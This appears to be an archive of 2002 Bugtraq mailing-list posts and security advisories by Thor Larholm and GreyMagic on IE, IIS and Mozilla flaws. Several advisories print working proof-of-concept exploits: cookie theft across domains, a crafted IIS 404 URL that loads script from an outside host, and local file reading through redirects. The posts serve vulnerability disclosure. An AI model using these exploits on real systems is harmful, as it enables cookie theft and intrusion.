From: Nick FitzGerald [mailto:[EMAIL PROTECTED]] Hi Thor, Doesn't the following have similar implications to the issue in your TL#002 advisory?? Hi Nick, close but no cigar - yet. In its current state, this % encoding issue cannot escape protocol boundaries, which means that it cannot go from the Internet Zone to the My Computer Zone and execute commands or read local files. It can, however, do arbitrary cross domain scripting on any site in its current protocol, which means that you can steal cookies and read/change arbitrary content from foreign sites. If you e.g. have an HTTPS site yourself, you can read/change the content for any other HTTPS site dispalyed to the user - change the login form actions, read the users bank accounts, etc. The issue is not so much with escaped versions of / or \, but with escaping of characters in itself. When actually retrieving the content, IE looks at the escaped version of your URI and fetches your malicious code from brinkster.com (escaping the yahoo.com part makes it part of Basic Authentication). When it later needs to check cross domain security settings and see whether the 2 windows may communicate, it looks at the unescaped version of your URI - which by now is a reference to yahoo.com instead of brinkster.com, with the Basich Authentication being part of the filename. Regards Thor
RE: XWT Foundation Advisory
From: Microsoft Security Response Center [mailto:[EMAIL PROTECTED]] snip mitigating factors I for one am in agreement on this issue, especially with regards to Default sites on e.g. IIS - it is very uncommon for anyone to serve content from the Default site (without checking the Host header) these days. That's not to say that sites like support.microsoft.com does not do this as it seems to operate on the Default site, neglecting the most important mitigating factor. I still quite fail to see the relevance to firewalls, as nothing is circumvented - the administrator has explicitly allowed HTTP traffic on (most often) port 80. Out of plain curiosity, how is this fixed in IE6SP1 - as the Netscape team fixed it by demanding both sites to set document.domain, regardless if one is the parent? Regards Thor Larholm, Security Researcher PivX Solutions, LLC Are You Secure? http://www.PivX.com
RE: warning
If your vulnerability deals with the Office Web Components then no warning should be necessary at this point, since Microsoft already yanked the OWC downloads (both OWC 9 and 10) from their download pages back in April when GreyMagic Software uncovered several vulnerabilities in them. From their download page ( http://office.microsoft.com/downloads/2002/owc10.aspx ): Microsoft has temporarily removed the Office Web Components while we conduct an investigation of potential security vulnerabilities. At the completion of our investigation, the OWC will be reposted. Thank you for your patience. Appareantly, researching these vulnerabilities must be very hard on MS (despite their simplicity) since this has been so for a quarter of a year by now. The vulns that triggered this action: http://sec.greymagic.com/adv/gm005-ie/ http://sec.greymagic.com/adv/gm006-ie/ http://sec.greymagic.com/adv/gm007-ie/ http://sec.greymagic.com/adv/gm008-ie/ And again, these are still unpatched together with the total of 21 publicly known unpatched vulnerabilities currently found in IE: http://www.pivx.com/larholm/unpatched/ Of course, if you have installed Office by itself then you probably already have OWC installed. Luckily this can be uninstalled separately by going to ControlPanel - Add/Remove programs - Office - Change - Office Tools - Office Web Components. If a system administrator installed OWC from a network share, then OWC will be silently re-installed when used again - in which case you are out of luck. If your vulnerability did not deal with OWC, then apologize my intrusion and let me guess on a Content-Type/Content-Disposition variant - though your suggested workaround would make no sense then :) Regards Thor Larholm, Security Researcher PivX Solutions, LLC Are You Secure? http://www.PivX.com -Original Message- From: Georgi Guninski [mailto:[EMAIL PROTECTED]] Sent: 30. juli 2002 16:36 To: [EMAIL PROTECTED] Subject: warning Consider this a warning, full details to come soon. windows + ie 6.0 + office xp may get owned by visiting a web page. workaround/solution: disable activex and plugins until someone produce a patch. After this warning, don't whine about responsibity issues - first check microsoft's responsiblity in help - about Georgi Guninski http://www.guninski.com
IE allows universal Cross Domain Scripting (TL#003)
Thor Larholm, PivX, security advisory TL#003 - By Thor Larholm, Denmark 10 July 2002 HTML format: http://www.PivX.com/larholm/adv/TL003/ Topic: IE allows universal Cross Domain Scripting. Discovery date: 25 June 2002. Severity: High Affected applications: -- Any application that hosts the WebBrowser control. Some of these are: Microsoft Internet Explorer Microsoft Outlook Microsoft Outlook Express Impact: --- Elevating privileges, arbitrary command execution, local file reading, stealing arbitrary cookies, etc. Authors: Patrick Zumstein and Thor Larholm. Introduction: - One of the many elements in HTML 4 is the OBJECT element which is used to embed external objects inside a page. Such objects can be the WebBrowser control and other ActiveX controls, images, applets and more. The object property of embedded WebBrowser controls is not subject to the Cross Domain security checks that embedded HTML documents ordinarily go through, and as such it is possible to escape any sandboxing and security zone restrictions. Discussion: --- Any document can extend the properties exposed by the OBJECT element, and any namespace conflicts are handled by querying the object property which is a duplicate reference to the embedded document. When embedding a document from the same site (same protocol, port and host) it is possible to make a reference to the object property without circumventing any Cross Domain security checks. After having established a reference we will then change the location of the document being embedded. The location changes but the reference stays, and we now have complete access to the DOM of the foreign document. The default object being referenced by the object property in the case of text/html is the document object. The simple proof-of-concept exploit below will read the cookie from passport.com. The OBJECT element is not restricted to embedding HTML documents, but can embed objects of any type. As such, this vulnerability could be extended even further. Exploit: object id=data data=empty.html type=text/html/object script var ref=document.getElementById(data).object; ref.location.href = http://www.passport.com;; setTimeout(alert(ref.cookie),5000); /script Solution: - Disable ActiveX, or Set Script ActiveX controls marked safe for scripting to Prompt or Disable ( URL: http://www.PivX.com/tutorials/disable_activex.html ). Tested on: -- IE6 Win2000, all patches and servicepacks. IE5.5 Win98, all patches and servicepacks. IE5.5 WinNT 4, all patches and servicepacks. Demonstration: -- I have put together some proof-of-concept examples: - Read foreign cookies - Read local (or foreign) file - Execute arbitrary commands These can be found at http://www.PivX.com/larholm/adv/TL003/ Vendor status: -- Microsoft was notified 25 June 2002. Mitigating factors: --- Outlook and OE are not directly affected if they run in the Restricted zone. Postscript: --- On June 25, Patrick Zumstein notified Thor Larholm, Georgi Guninski and PacketStormSecurity about a possible vulnerability. In working together, Patrick and Thor quickly outlined the culprit and prepared this advisory, after which Microsoft were notified immediately. Since this is possibly very publicly known by now I have decided to release this advisory after only 2 weeks times, so that system administrators and end users may possibly apply the provided workaround to temporarily secure themselves until a proper patch has been made. Regards Thor Larholm, Security Researcher PivX Solutions, LLC Unpatched IE security holes - 19 and counting http://www.PivX.com/larholm/unpatched/ Are You Secure? http://www.PivX.com
RE: Microsoft Internet Explorer 'Folder View for FTP sites' Script Execution vulnerability
I was a bit confused as to whether this had to be triggered _from_ the My Computer zone, but tests quickly proofed that this is definitely remotely exploitable. To clear things up, this is yet another XSS vulnerability that allows arbitrary HTML to be inserted in the My Computer zone. This makes it quite easy to e.g. execute arbitrary commands, undoubtedly a more fun demonstration: http://jscript.dk/Jumper/xploit/ftpfolderview.html Status: 18 unpatched vulnerabilities. http://jscript.dk/Unpatched/ Regards Thor Larholm Jubii A/S - Internet Programmer
RE: Update and comments on the MS02-023 patch, holes still remain
In my comments I wrote that the cssText vulnerability appeared to be patched. After further testing and research I will have to correct myself, as the issue is not patched at all. To sum it up: On February 18, GreyMagic discovered a vulnerability in the cssText property of imported stylesheets. After Microsoft had researched it for 44 days GreyMagic released their advisory on April 2. According to the MS02-023 bulletin released by Microsoft on May 15, this vulnerability should now be patched. However, using a simple HTTP redirect circumvents this new 'protection'. I seem not to be the only one who has discovered this fact. GreyMagic Software have updated their advisory on the cssText vulnerability and bundled a new example that works post MS02-023, which can be found at http://sec.greymagic.com/adv/gm004-ie/ Regards Thor Larholm Jubii A/S - Internet Programmer
Update and comments on the MS02-023 patch, holes still remain
The latest cumulative patch from Microsoft, http://www.microsoft.com/technet/security/bulletin/MS02-023.asp , promises to eliminate six newly discovered vulnerabilities, but fails to do so. First, we find what MS calls A cross-site scripting vulnerability in a Local HTML Resource. This is obviously a reference to the dialogArguments vulnerability, and as such this mislabelling name does not bode well to begin with. In fact, MS seems to have misunderstood quite a number of issues surrounding this vulnerability. The first such is found in their list of mitigating factors: A successful attack requires that a user first click on a hyperlink. There is no way to automate an attack using this vulnerability. The above is blatantly untrue, and was repeatedly demonstrated to MS both in the initial notification phase and when we worked together to reproduce the issue. Nothing in the world stops this vulnerability from being automatically exploited. Another 'mitigating' factor: Outlook 98 and 2000 (after installing the Outlook Email Security Update), Outlook 2002, and Outlook Express 6 all open HTML mail in the Restricted Sites Zone. As a result, customers using these products would not be at risk from email-borne attacks. The above is merely misinformation on their parts. The Restricted Sites Zone tries to disable scripting ( a requisite for the dialogArguments vulnerability ), but many vulnerabilities allow you to circumvent this setting ( one such listed on /unpatched/ ). As such, you can still script in the Restricted Sites Zone, and as such customers using these products are still at risk from email-borne attacks. Aside from these misunderstandings it could appear as though Microsoft is not actively keeping up with the security community and its publications. The dialogArguments issue was originally demonstrated with a ressource file only found in Internet Explorer 6- Shortly after being disclosed GreyMagic Software highlighted how another ressource file was also vulnerable, which existed from IE5 and onwards. Microsoft has fixed the vulnerability in IE6 _only_. I repeat, IE5 and IE5.5 are still vulnerable. The same severity rating (Critical) also apply to IE5 and IE5.5, with the exception that they still remain unpatched. The demonstration was fixed instead of the vulnerability. If you want to convince yourself about this (and still use the appareantly unsupported IE5 or IE5.5 browser), try the examples in GreyMagics appendix to my advisory at http://sec.greymagic.com/adv/gm001-ax/ . Next, we find that the cssText vulnerability should be patched. Most of my systems behave properly and appear to have this vulnerability patched, though some still allow local file reading. More testing needed, but likely not a job full done. So far it appears patched. The Script within Cookies Reading Cookies vulnerability also have the same incorrect 'mitigating' factor as dialogArguments, and claims that An attacker would have to entice a user to first click on a hyperlink to initiate an attempt to exploit this vulnerability. There is no way to automate an attack that exploits this vulnerability. Of course, this is also untrue since Internet Explorer comes equipped with a nice click method on links that a programmer can execute, duplicating an actual click ( http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/click.asp ). As such, nothing stops anyone from exploiting this vulnerability automatically. The zone spoofing vulnerability sounds interesting, but I can find no further details (MS is not exactly full disclosure). And finally we have two variants of the Content Disposition vulnerability. The first depends on an unknown thirdparty program (your guess is as good as mine). The second depends on an executable being present, and has a misinforming mitigating factor: Any attempt to exploit the vulnerability requires that the attacker host a malicious executable on a server accessible to the intended victim. If the hosting server is unreachable for any reason, such as DNS blocking or the server being taken down, the attack would fail. The above seems to discuss an email-borne attack, and as such there is no dependancy on external servers. Outlook can easily parse attached executables through CID: (Content-ID) and as such this mitigating factor is quite minute since the email itself would act as the hosting server. Yesterday I hosted a list of 14 publickly known unpatched vulnerabilities, today I host a list of 12 such. It can still be found at http://jscript.dk/unpatched/ Just my .02 kroner of comments :) Regards Thor Larholm Jubii A/S - Internet Programmer
RE: Reading local files in Netscape 6 and Mozilla (GM#001-NS)
Disturbing. Netscape sure must be in financial problems since they are selling out on their users security for a lousy $1000. I know for one that I personally will release any future Netscape advisories with full public disclosure and without prior Netscape notification. As a matter of fact, why not start now ? The IRC:// protocol inhibited by Mozilla/NS6 seems to have a buffer overrun. A typical IRC URL could look like this: IRC://IRC.YOUR.TLD/#YOURCHANNEL The #YOURCHANNEL part is copied to a buffer that has a limit of 32K. If the input exceeds this limit, Mozilla 1.0 RC1 crashes with the following error: The exception unknown software exception (0xc0fd) occured in the application at location 0x60e42edf Mozilla 0.9.9 gives a similar exception: The exception unknown software exception (0xc0fd) occured in the application at location 0x60dd2c79. Other versions of Mozilla/NS6/Galeon likely share the same flaw. I haven't tested further on how practically exploitable this is. Short example online at http://jscript.dk/2002/4/moz1rc1tests/ircbufferoverrun.html Furthermore, Mozilla/Galeon/NS6 is prone to a local file detection vulnerability. When embedding a stylesheet with the LINK element, access to CSS files from other protocols is prohibited by the security manager. A simple HTTP redirect circumvents this security restriction and it becomes possible to use local or remote files of any type, with the side effect that you can detect if specific local files exist. http://jscript.dk/2002/4/NS6Tests/LinkLocalFileDetect.asp Regards Thor Larholm Jubii A/S - Internet Programmer -Original Message- From: GreyMagic Software [mailto:[EMAIL PROTECTED]] Sent: 30. april 2002 03:11 To: NTBugtraq; Bugtraq Subject: Reading local files in Netscape 6 and Mozilla (GM#001-NS) GreyMagic Security Advisory GM#001-NS = By GreyMagic Software, Israel. 30 Apr 2002. Available in HTML format at http://security.greymagic.com/adv/gm001-ns/. Topic: Reading local files in Netscape 6 and Mozilla. Discovery date: 30 Mar 2002. Affected applications: == * All tested versions of Mozilla (0.9.7+) on Windows, other versions/platforms are believed to be vulnerable. * All tested versions of Netscape (6.1+) on Windows, other versions/platforms are believed to be vulnerable. Important notes: Netscape was contacted on 24 Apr 2002 through a form on their web site and through email to [EMAIL PROTECTED] and [EMAIL PROTECTED] They did not bother to respond AT ALL, and we think we know why. A while ago Netscape started a Bug Bounty program, which entitles researchers who find a bug that allows an attacker to run unsafe code or access files to a $1000 reward. By completely disregarding our post Netscape has earned themselves a $1000 and lost any credibility they might have had. The money is irrelevant, but using such a con to attract researchers into disclosing bugs to Netscape is extremely unprofessional. Netscape's faulty conducts made us rethink our disclosure guidelines and we came to the following decisions: * Release all future Netscape advisories without notifying Netscape at all. * Advise the security community to do the same. Netscape is deceiving researchers and should not be rewarded. * Advise customers to stop using Netscape Navigator through our security advisories and business contacts. [1] http://home.netscape.com/security/bugbounty.html Introduction: = XMLHTTP is a component that is primarily used for retrieving XML documents from a web server. On 15 Dec 2001 Jelmer published an advisory titled MSIE6 can read local files, which demonstrated how Microsoft's XMLHTTP component allows reading of local files by blindly following server-side redirections (patched by MS02-008). [1] http://www.xs4all.nl/~jkuperus/bug.htm [2] http://www.microsoft.com/technet/security/bulletin/MS02-008.asp Discussion: === Mozilla's version of XMLHTTP, the XMLHttpRequest object, is vulnerable to the exact same attack. By directing the open method to a web page that will redirect to a local/remote file it is possible to fool Mozilla into thinking it's still in the allowed zone, therefore allowing us to read it. It is then possible to inspect the content by using the responseText property. Exploit: This example attempts to read c:/test.txt, getFile.asp internally redirects to file://c:/test.txt: var oXML=new XMLHttpRequest(); oXML.open(GET,getFile.asp,false); oXML.send(null); alert(oXML.responseText); Solution: = Users of Netscape Navigator should move to a better performing, less buggy browser. Tested on: == Mozilla 0.9.7, NT4. Mozilla 0.9.9, NT4. Mozilla 0.9.9, Win2000. Netscape 6.1, NT4. Netscape 6.2.1, Win2000. Netscape 6.2.2, NT4. Netscape 6.2.2, Win2000. Demonstration: == A fully dynamic proof-of-concept demonstration of this issue is available at http
RE: Reading local files in Netscape 6 and Mozilla (GM#001-NS)
Demonstration: == A fully dynamic proof-of-concept demonstration of this issue is available at http://security.greymagic.com/adv/gm001-ns/. As some of you may have noticed, the above proof-of-concept does not work in Mozilla 1.0 Release Candidate 1. Don't get your hopes high about this though, the issue has not been fixed in moz1rc1 - the XMLHttpRequest was simply broken in this version of the browser for unknown reasons, a fact not mentioned in the release notes. When trying to use it, either nothing happens or the browser crashes. The proof-of-concept works just fine in Mozilla 0.9.9 (and NS6.1+), and would work fine in moz1rc1 if the XMLHttpRequest object could be used at all. The Mozilla XML-Extras project also includes a document.load method that is used to load XML documents. The same issue applies to this method, and a proof-of-concept demonstration that also works in moz1rc1 can be found at http://jscript.dk/2002/4/NS6Tests/documentload.html Regards Thor Larholm Jubii A/S - Internet Programmer
IE allows universal Cross Site Scripting (TL#002)
Thor Larholm security advisory TL#002
-
By Thor Larholm, Denmark.
16 April 2002
HTML Format: http://jscript.dk/adv/TL002/
Topic: IE allows universal Cross Site Scripting.
Discovery date: 18 March 2002.
Severity: High
Affected applications:
--
Any application that hosts the WebBrowser control (IE6+). Some of these are:
Microsoft Internet Explorer
Microsoft Outlook
Microsoft Outlook Express
Impact:
---
Elevating privileges, hijacking the MSN Messenger client, running script in
the My Computer zone, arbitrary command execution, etc.
Introduction:
-
Among its extensive functionality, IE employs a set of useful methods to
display dialog windows. These, the showModalDialog and showModelessDialog
methods, can transfer objects from the originating page to the page being
displayed inside the dialog, by use of the dialogArguments property.
Discussion:
---
The dialogArguments property tries to prevent interaction between remote
pages by comparing the location of the originating page and the dialog page.
When opening a dialog window (e.g. res://shdoclc.dll/policyerror.htm) from
another protocol, port or domain (e.g. http://jscript.dk), the validation
code in IE will ensure that no objects are transferred, and no interaction
is as such possible.
When both pages are on the same protocol, port and domain, the validation
code will allow interaction.
Unfortunately, the validation code only checks the original URL instead of
the final URL, and it is as such possible to bounce a HTTP redirect from the
originating site to the desired dialog page that will allow interaction.
It is worth noting that this is not in any way limited to the RES://
protocol. The flawed dialogArguments property also allows interaction
between different domains (e.g. YAHOO.COM to MICROSOFT.COM), different
protocols (HTTP to HTTPS, HTTP to FILE, etc.) and different ports (port 80
to port 21, port 80 to port 25, etc.)
For the sake of demonstration, we take a look at shdoclc.dll which contains
several resource in the HTML category, labeled POLICYERROR.HTM,
POLICYLOOKING.HTM, POLICYNONE.HTM and POLICYSYNTAXERROR.HTM. These files
contain the following script code:
var site = window.parent.dialogArguments.url;
function printSite()
{
document.write( site);
}
Exploit:
script
var sCode = ''+'scriptalert(This is running from: +
location.href);top.close()/'+'script';
window.showModalDialog(redirect.asp, {url:sCode})
/script
Redirect.asp contains:
%@Language=Jscript%%
Response.Redirect(res://shdoclc.dll/policyerror.htm);
%
Solution: (for MS)
--
Fix the faulty validation routine in dialogArguments.
Include input validation in resource files.
Also, fixing the incomplete MS02-015 patch will ensure that this specific
command execution vulnerability will not reoccur when the next CSS issue is
uncovered.
Solution: (for users)
-
Disable scripting.
Tested on:
--
IE6sp1 Win2000 SP2, with all patches.
IE6sp1 Windows 98, with all patches.
IE6sp1 Windows 98 SE, with all patches.
Demonstration:
--
I have put together some proof-of-concept examples:
- Simple static examples: Demonstratory fixed code
- Advanced example: Input arbitrary script code
- Hijacking MSN Messenger: An updated version of a previous bulletin
- Executing arbitrary commands: How CodeBase was not fixed
These can be found at http://jscript.dk/adv/TL002/
Vendor status:
--
Microsoft was notified 18 March 2002 and were able to reproduce the issue
consistently.
They are currently (16 April 2002) investigating whether to address this in
an upcoming cumulative patch.
Regards
Thor Larholm
Jubii A/S - Internet Programmer
IIS allows universal CrossSiteScripting
Thor Larholm security advisory TL#001 - By Thor Larholm, Denmark. 10 April 2002 HTML format: http://jscript.dk/adv/TL001/ Topic: IIS allows universal CrossSiteScripting. Discovery date: 13 March 2002. Severity: Medium Affected applications: -- Any IIS installation that hosts the default 404 error pages. This includes: IIS 4 IIS 5 IIS 5.1 Impact: --- Stealing cookies from any IIS site, cross-domain scripting to any IIS site, hijacking Hotmail and Passport accounts, elevating priveleges through ActiveX components, hijacking the MSN Messenger client, etc. Introduction: - CrossSiteScripting is a term that describes the injection of script code on foreign sites. A very likely scenario is where a malicious programmer would inject code on e.g. hotmail.com to steal a victims cookies, allowing him/her to hijack the victims email account. The default installation of IIS is suspectible to such a CSS error. Discussion: --- Every time IIS encounters a HTTP 404 errorcode, it will display a 404 not found page. This HTML file uses scripting to output a link to the SERVER.TLD part of the URL, and by crafting a specially formed URL it is possible to include arbitrary script commands on the 404 page, thereby enabling CrossSiteScripting on any IIS site. If we look at 404.htm we will notice a particular line of code: document.write( 'A HREF=' + escape(urlresult) + '' + displayresult + /a); displayResult is derived from the first instance of :// in the URL until the next instance of /. This means that we will have to include our script code before the path part of the URL. To accomplish this we include our script code in the Basic Authentication part of the URL, but we first have to escape any special characters in the code. Any / character will end displayresult prematurely and any spaces will corrupt the DNS lookup, and we therefor replace any space with a TAB (%09) and any / with %5Cx2f (\x2f, as we will dynamically reference an external file). Exploit: http://img%09src=%09onerror=document.scripts[0].src=%27http%5Cx3a%5Cx2f% 5Cx2fjscript.dk%5Cx2ftest.js%27;[EMAIL PROTECTED]/SomeNonExistantPath The above will include and execute http://jscript.dk/test.js on YOUR.TLD, provided that YOUR.TLD is served by an IIS installation. Solution: - Apply the MS02-018 patch ( http://www.microsoft.com/technet/security/bulletin/MS02-018.asp ), or delete the default 404 errorhandler page. You could also use the opportunity to make yourself a nice custom 404 errorhandler page. End-users can enable the Show friendly HTTP error messages option in IE. Demonstration: -- I have put together some proof-of-concept examples: - Simple: Lists your cookies in a selection of Microsoft domains. - Advanced: get the cookies from any IIS site. - MSN: Discloses your MSN contactlist. These can be found at http://jscript.dk/adv/TL001/ Regards Thor Larholm Jubii A/S - Internet Programmer
RE: MS 3/28/02 Security Patch for IE6 - warning!
Further, the patch doesn't seem to work completely: http://www.theregister.co.uk/content/4/24667.html Though, in other cases, it works better than expected: http://jscript.dk/unpatched/N280302-01.html A revision of the patch may be in place. Regards Thor Larholm Jubii A/S - Internet Programmer -Original Message- From: Phil Dibowitz [mailto:[EMAIL PROTECTED]] Sent: 2. april 2002 20:44 To: [EMAIL PROTECTED] Subject: MS 3/28/02 Security Patch for IE6 - warning! BugTraq'ers, I usually consider this list a bit over my head, and don't post, just read. I'm not totally sure this is on-topic, but I think it is. =) The MS Security Patch for IE6: Security Update, March 28, 2002 (Internet Explorer 6) 2456 KB/ Download Time: 1 min The 28 March 2002 Cumulative Patch for Internet Explorer update eliminates all previously addressed security vulnerabilities affecting Internet Explorer 6, as well as two new vulnerabilities, and is discussed in Microsoft Security Bulletin MS02-015. Download now to protect your computer from these vulnerabilities, the most serious of which could allow a malicious user to run code on your computer. (That's directly from the MS Windows Update Site) Seems to be pretty buggy. It trashed a Win2K machine of mine yesterday. After installing, I rebooted and shortly after lost my network connection... then I was unable to get into 'Network and Dialup Connections' or 'Add/Remove programs.' I tried recovery from 'Safe Mode' and 'Last known good configuration' options at boot, but I had the same problems in both modes. Doing a 'recovery' from CD didn't fix it either. As a last resort I chose to do an 'upgrade' from CD which downgraded IE6 to IE5 fixing the problem. I was then able to patch up to the latest IE MINUS that patch. A friend mine also had a very similar experience with the patch. I'm curious to know if others have the same problem, and I also wanted to warn people. Phil -- Insanity Palace of Metallica http://www.ipom.com [EMAIL PROTECTED] --
Stack Overflow in MSHTML.DLL
Stack Overflow in MSHTML.DLL
Systems affected:
Any program using MSHTML.DLL for HTML parsing (Internet Explorer,
Outlook/Outlook Express and other HTML-enabled emailreaders).
Reliably tested on IE4.0 and higher on any Windows system, with any servicepacks
and patches.
Older versions of MSHTML.DLL may be affected too, but remains untested.
Risk: Low/Medium
Description:
MSHTML.DLL crashes with a Stack Overflow from simple scripting.
Details:
The bug is only experienced when dealing with multiple window objects, where one
is receiving data. To reproduce the bug, create a JScript object, set a property
on the object from the window object receiving data, delete the object and
create it again.
No exploitable buffer overflows have been found so far.
Code:
InstantCrash.html-
iframe id=test style="display:none"/iframe
script
Larholm = {}; // Object literal
test.document.open(); // Stream data
test.document.write("s"+"cripttop.Larholm.test=0/s"+"cript");
delete Larholm;
Larholm = {}; // Crash
/script
--
Workaround:
Disable Active Scripting.
Vendor status:
Microsoft was contacted on 4 December 2000.
Bug is considered to be a code quality bug, and will be adressed in a future SP
for IE.
--
Thor Larholm
